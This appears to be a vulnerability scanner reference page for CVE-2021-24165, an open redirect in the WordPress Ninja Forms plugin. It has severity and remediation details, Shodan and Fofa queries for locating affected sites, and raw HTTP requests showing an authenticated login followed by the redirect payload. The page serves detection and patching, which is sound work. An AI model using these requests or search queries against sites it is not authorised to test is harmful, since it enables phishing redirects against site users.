| Title | WordPress Ninja Forms <3.4.34 - Open Redirect |
|---|---|
| Author | dhiyaneshDk,daffainfo |
| Severity | Medium |
| Impact | An attacker can exploit this vulnerability to redirect users to malicious websites, leading to phishing attacks or the installation of malware. |
| Remediation | Update to the latest version of the Ninja Forms plugin (3.4.34 or higher) to fix the open redirect vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.01173 |
| CVE ID | CVE-2021-24165 |
| CWE ID | CWE-601 |
| Shodan Query | http.html:/wp-content/plugins/ninja-forms/ |
| Fofa Query | body=/wp-content/plugins/ninja-forms/ |
| Tags | cve2021 cve wordpress redirect wp-plugin authenticated wp wpscan ninjaforms vuln |
WordPress Ninja Forms plugin before 3.4.34 contains an open redirect vulnerability via the wp_ajax_nf_oauth_connect AJAX action, due to the use of a user-supplied redirect parameter and no protection in place. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Debian; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Connection: close
Content-Length: 51
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_test_cookie=WP%20Cookie%20check
Origin: /
Accept-Encoding: gzip
log=xIaAe4&pwd=QmH8JA&wp-submit=Log+In&testcookie=1
GET /wp-admin/admin-ajax.php?client_id=1&redirect=https://interact.sh&action=nf_oauth_connect HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (CentOS; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-24165.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-24165.pcap
N/AN/A